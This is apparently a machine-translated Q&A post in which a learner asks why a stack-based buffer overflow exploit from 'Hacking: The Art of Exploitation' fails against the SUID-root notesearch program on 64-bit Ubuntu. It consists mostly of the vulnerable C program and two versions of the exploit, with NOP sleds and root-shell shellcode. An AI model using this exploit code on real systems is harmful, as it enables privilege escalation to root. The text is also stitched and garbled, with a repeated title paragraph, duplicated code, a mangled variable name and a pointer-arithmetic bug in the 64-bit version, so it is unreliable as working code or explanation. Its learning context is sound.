C 基于堆栈的缓冲区溢出利用漏洞确定偏移和对齐-Ubuntu 16.04.1 x86_64
免责声明:我相信我粘贴的许多代码都是不必要的(例如notesearch程序中的函数,以及漏洞利用中的更改),但为了清晰起见,我将其包括在内。我不想用这篇长文章吓跑任何人,我想我应该事先给出一个解释 我目前正在读乔恩·埃里克森的《黑客:剥削的艺术》一书。这本书附带了一个虚拟机,旨在确保为示例提供一个稳定的工作环境,但我决定尝试在自己的环境中读完这本书,以挑战我对材料的理解 我目前正在阅读有关基于堆栈的缓冲区溢出、利用未检查的缓冲区重写函数的返回地址、放下NOP底座以及执行外壳代码的文章。我们正在开发的计划如下:C 基于堆栈的缓冲区溢出利用漏洞确定偏移和对齐-Ubuntu 16.04.1 x86_64,c,linux,assembly,memory,stack-overflow,C,Linux,Assembly,Memory,Stack Overflow,免责声明:我相信我粘贴的许多代码都是不必要的(例如notesearch程序中的函数,以及漏洞利用中的更改),但为了清晰起见,我将其包括在内。我不想用这篇长文章吓跑任何人,我想我应该事先给出一个解释 我目前正在读乔恩·埃里克森的《黑客:剥削的艺术》一书。这本书附带了一个虚拟机,旨在确保为示例提供一个稳定的工作环境,但我决定尝试在自己的环境中读完这本书,以挑战我对材料的理解 我目前正在阅读有关基于堆栈的缓冲区溢出、利用未检查的缓冲区重写函数的返回地址、放下NOP底座以及执行外壳代码的文章。我们正在开
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char*); // Note printing function
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char*, char*); // Search for keyword function.
void fatal(char*); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1)
fatal("in main() while opening file for reading");
char searchstring[100];
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string;
// rturns 0 at ed of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte = 0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1)
return 0;
read(fd, note_buffer, note_length);
note_buffer[note_length] = 0;
if(search_note(note_buffer, searchstring))
printf(note_buffer);
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is erached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) {
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data.
return -1; // If 4 bytes aren't read, return end of file code.
if(read(fd, &byte, 1) != 1) // Read the newline separator.
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read a single byte.
return -1;
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0)
return 1;
for(i = 0; i < strlen(note); i++) {
if(note[i] = keyword[match])
match++;
else {
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1;
else
match = 0;
}
if(match == keyword_length)
return 1;
}
return 0;
}
攻击者可以写入超过此缓冲区结尾的内容并覆盖返回地址。该程序附带一个记事本程序,并且假定/var/notes存在,并且该程序是SUID root,以便允许访问该目录
本书提供了以下代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
我认为这可能是由于构建缓冲区时返回地址未对齐,因此我尝试将for循环中I的初始值更改为4,然后更改为8,然后更改为12,但这些方法都没有给我不同的结果。我进一步尝试将偏移量的值更改为理论极限,但这也不起作用
我的问题是,我在计算中做错了什么?我怀疑缓冲区没有被写入我认为它所在的位置,因为在程序的初始测试中,我进入系统调用而不是独立运行它,我没有看到缓冲区出现在堆栈上。也有可能我完全忽略了堆栈框架的构造方式,或者程序编译中的一些其他复杂性
那么,我做错了什么,我如何才能将我的方法改为更一般化的方法,以便在将来做正确的事情?
***检测到堆栈破坏***
-另请参阅,因此您必须要求用户关闭堆栈保护,才能使用此漏洞?;)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
uint64_t i, ret, offset=256;
char *command, *buffer;
command = (char *) malloc(400);
bzero(command, 400); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start the command buffer.
buffer = command + strlen(command); // Set the buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (uint64_t) &i - offset; // Set return address.
for(i=0; i < 376; i+=8) // Fill buffer with return address.
*((uint64_t *) buffer + i) = ret;
memset(buffer, 0x90, 200); // Build NOP sled.
memcpy(buffer+200, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
[DEBUG] found a 7 byte note for user id 1000
-------[ end of note data ]-------
*** stack smashing detected ***: ./notesearch terminated
Aborted (core dumped)